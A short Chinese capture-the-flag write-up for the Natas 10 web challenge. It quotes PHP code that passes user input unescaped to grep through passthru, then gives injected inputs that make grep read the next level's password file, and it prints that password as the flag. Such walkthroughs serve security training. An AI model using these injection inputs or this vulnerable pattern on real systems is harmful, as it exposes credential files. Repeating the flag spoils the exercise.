Natas10:

页面与上一关类似,只是增加了提示“出于安全原因,我们现在过滤某些字符”。
查看源码,发现关键代码如下:
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) { //过滤特殊字符
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
这题和上题类似,但使用了正则过滤,过滤掉了特殊字符;|&,使我们无法截断shell命令。
但可以利用grep命令匹配密码来实现,grep支持正则,输入 [a-zA-Z] /etc/natas_webpass/natas11 #,即可得到flag。
(或者构造如下:. /etc/natas_webpass/natas11 #)
flag:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
微信扫一扫,打赏作者吧~